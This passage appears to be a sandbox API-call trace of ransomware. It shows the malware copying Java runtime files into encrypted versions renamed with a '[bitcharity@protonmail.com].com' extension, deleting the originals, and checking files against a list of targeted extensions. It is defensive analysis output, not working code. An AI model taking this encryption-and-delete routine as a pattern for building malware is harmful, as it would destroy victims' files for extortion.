lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.012] WriteFile (in: hFile=0x10bc, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xee, lpOverlapped=0x0) returned 1 [0302.012] SetEndOfFile (hFile=0x10bc) returned 1 [0302.012] CloseHandle (hObject=0x10bc) returned 1 [0302.012] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.012] SetEndOfFile (hFile=0x10b4) returned 1 [0302.014] CloseHandle (hObject=0x10b4) returned 1 [0302.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0302.630] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 1 [0303.030] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.030] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.030] lstrlenW (lpString=".doc") returned 4 [0303.030] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.030] lstrlenW (lpString=".docx") returned 5 [0303.031] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0303.031] lstrlenW (lpString=".pdf") returned 4 [0303.031] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.031] lstrlenW (lpString=".xls") returned 4 [0303.031] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.031] lstrlenW (lpString=".xlsx") returned 5 [0303.031] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0303.031] lstrlenW (lpString=".ppt") returned 4 [0303.031] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.031] lstrlenW (lpString=".zip") returned 4 [0303.031] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.031] lstrlenW (lpString=".rar") returned 4 [0303.031] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.031] lstrlenW (lpString=".bz2") returned 4 [0303.031] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.031] lstrlenW (lpString=".7z") returned 3 [0303.031] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.031] lstrlenW (lpString=".dbf") returned 4 [0303.031] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.031] lstrlenW (lpString=".1cd") returned 4 [0303.031] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.032] lstrlenW (lpString=".jpg") returned 4 [0303.032] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.032] lstrlenW (lpString=".doc") returned 4 [0303.032] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.032] lstrlenW (lpString=".docx") returned 5 [0303.032] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0303.032] lstrlenW (lpString=".pdf") returned 4 [0303.032] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.032] lstrlenW (lpString=".xls") returned 4 [0303.032] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.032] lstrlenW (lpString=".xlsx") returned 5 [0303.032] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0303.032] lstrlenW (lpString=".ppt") returned 4 [0303.032] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.032] lstrlenW (lpString=".zip") returned 4 [0303.032] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.032] lstrlenW (lpString=".rar") returned 4 [0303.032] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.032] lstrlenW (lpString=".bz2") returned 4 [0303.032] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.032] lstrlenW (lpString=".7z") returned 3 [0303.032] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.033] lstrlenW (lpString=".dbf") returned 4 [0303.033] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.033] lstrlenW (lpString=".1cd") returned 4 [0303.033] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0303.033] lstrlenW (lpString=".jpg") returned 4 [0303.033] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.033] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0303.033] lstrlenW (lpString="servertool.exe") returned 14 [0303.033] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0303.033] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=16448) returned 1 [0303.033] CloseHandle (hObject=0x10c0) returned 1 [0303.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0303.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.034] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0303.034] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.034] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.034] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0303.034] GetLastError () returned 0x0 [0303.034] ReadFile (in: hFile=0x10c0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x4040, lpOverlapped=0x0) returned 1 [0303.117] WriteFile (in: hFile=0x10dc, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x4050, lpOverlapped=0x0) returned 1 [0303.118] ReadFile (in: hFile=0x10c0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.118] WriteFile (in: hFile=0x10dc, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf0, lpOverlapped=0x0) returned 1 [0303.118] SetEndOfFile (hFile=0x10dc) returned 1 [0303.119] CloseHandle (hObject=0x10dc) returned 1 [0303.119] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.119] SetEndOfFile (hFile=0x10c0) returned 1 [0303.119] CloseHandle (hObject=0x10c0) returned 1 [0303.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.120] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 1 [0303.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.120] lstrlenW (lpString=".doc") returned 4 [0303.120] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.120] lstrlenW (lpString=".docx") returned 5 [0303.120] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0303.120] lstrlenW (lpString=".pdf") returned 4 [0303.120] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.120] lstrlenW (lpString=".xls") returned 4 [0303.120] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.120] lstrlenW (lpString=".xlsx") returned 5 [0303.120] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0303.120] lstrlenW (lpString=".ppt") returned 4 [0303.120] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.120] lstrlenW (lpString=".zip") returned 4 [0303.120] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.121] lstrlenW (lpString=".rar") returned 4 [0303.121] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.121] lstrlenW (lpString=".bz2") returned 4 [0303.121] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.121] lstrlenW (lpString=".7z") returned 3 [0303.121] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.121] lstrlenW (lpString=".dbf") returned 4 [0303.121] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.121] lstrlenW (lpString=".1cd") returned 4 [0303.121] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.121] lstrlenW (lpString=".jpg") returned 4 [0303.121] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.121] lstrlenW (lpString=".doc") returned 4 [0303.121] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.121] lstrlenW (lpString=".docx") returned 5 [0303.121] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0303.121] lstrlenW (lpString=".pdf") returned 4 [0303.121] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.121] lstrlenW (lpString=".xls") returned 4 [0303.121] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.121] lstrlenW (lpString=".xlsx") returned 5 [0303.121] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0303.121] lstrlenW (lpString=".ppt") returned 4 [0303.121] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.121] lstrlenW (lpString=".zip") returned 4 [0303.121] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.122] lstrlenW (lpString=".rar") returned 4 [0303.122] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.122] lstrlenW (lpString=".bz2") returned 4 [0303.122] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.122] lstrlenW (lpString=".7z") returned 3 [0303.122] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.122] lstrlenW (lpString=".dbf") returned 4 [0303.122] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.122] lstrlenW (lpString=".1cd") returned 4 [0303.122] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0303.122] lstrlenW (lpString=".jpg") returned 4 [0303.122] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.122] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.122] lstrlenW (lpString="ssv.dll") returned 7 [0303.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0303.122] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=571968) returned 1 [0303.123] CloseHandle (hObject=0x10c0) returned 1 [0303.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0303.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0303.123] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.123] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0303.123] GetLastError () returned 0x0 [0303.123] ReadFile (in: hFile=0x10c0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x8ba40, lpOverlapped=0x0) returned 1 [0303.483] WriteFile (in: hFile=0x10dc, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x8ba50, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x8ba50, lpOverlapped=0x0) returned 1 [0303.494] ReadFile (in: hFile=0x10c0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.494] WriteFile (in: hFile=0x10dc, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0303.494] SetEndOfFile (hFile=0x10dc) returned 1 [0303.494] CloseHandle (hObject=0x10dc) returned 1 [0303.494] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.494] SetEndOfFile (hFile=0x10c0) returned 1 [0303.499] CloseHandle (hObject=0x10c0) returned 1 [0303.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.499] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 1 [0303.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.500] lstrlenW (lpString=".doc") returned 4 [0303.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.500] lstrlenW (lpString=".docx") returned 5 [0303.500] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0303.500] lstrlenW (lpString=".pdf") returned 4 [0303.500] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.500] lstrlenW (lpString=".xls") returned 4 [0303.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.500] lstrlenW (lpString=".xlsx") returned 5 [0303.500] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0303.500] lstrlenW (lpString=".ppt") returned 4 [0303.500] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.500] lstrlenW (lpString=".zip") returned 4 [0303.500] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.500] lstrlenW (lpString=".rar") returned 4 [0303.500] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.500] lstrlenW (lpString=".bz2") returned 4 [0303.500] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.500] lstrlenW (lpString=".7z") returned 3 [0303.500] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.500] lstrlenW (lpString=".dbf") returned 4 [0303.500] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.500] lstrlenW (lpString=".1cd") returned 4 [0303.500] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.501] lstrlenW (lpString=".jpg") returned 4 [0303.501] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.501] lstrlenW (lpString=".doc") returned 4 [0303.501] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.501] lstrlenW (lpString=".docx") returned 5 [0303.501] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0303.501] lstrlenW (lpString=".pdf") returned 4 [0303.501] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.501] lstrlenW (lpString=".xls") returned 4 [0303.501] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.501] lstrlenW (lpString=".xlsx") returned 5 [0303.501] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0303.501] lstrlenW (lpString=".ppt") returned 4 [0303.501] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.501] lstrlenW (lpString=".zip") returned 4 [0303.501] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.501] lstrlenW (lpString=".rar") returned 4 [0303.501] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.501] lstrlenW (lpString=".bz2") returned 4 [0303.501] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.501] lstrlenW (lpString=".7z") returned 3 [0303.501] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.501] lstrlenW (lpString=".dbf") returned 4 [0303.501] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.501] lstrlenW (lpString=".1cd") returned 4 [0303.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0303.502] lstrlenW (lpString=".jpg") returned 4 [0303.502] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.502] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.502] lstrlenW (lpString="t2k.dll") returned 7 [0303.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0303.502] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=255040) returned 1 [0303.502] CloseHandle (hObject=0x10c0) returned 1 [0303.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0303.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.503] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0303.503] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.503] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.503] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0303.504] GetLastError () returned 0x0 [0303.504] ReadFile (in: hFile=0x10c0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x3e440, lpOverlapped=0x0) returned 1 [0303.581] WriteFile (in: hFile=0x10dc, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x3e450, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x3e450, lpOverlapped=0x0) returned 1 [0303.586] ReadFile (in: hFile=0x10c0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.586] WriteFile (in: hFile=0x10dc, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0303.586] SetEndOfFile (hFile=0x10dc) returned 1 [0303.670] CloseHandle (hObject=0x10dc) returned 1 [0303.670] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.670] SetEndOfFile (hFile=0x10c0) returned 1 [0303.899] CloseHandle (hObject=0x10c0) returned 1 [0303.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.899] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 1 [0303.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.900] lstrlenW (lpString=".doc") returned 4 [0303.900] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.900] lstrlenW (lpString=".docx") returned 5 [0303.900] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0303.900] lstrlenW (lpString=".pdf") returned 4 [0303.900] 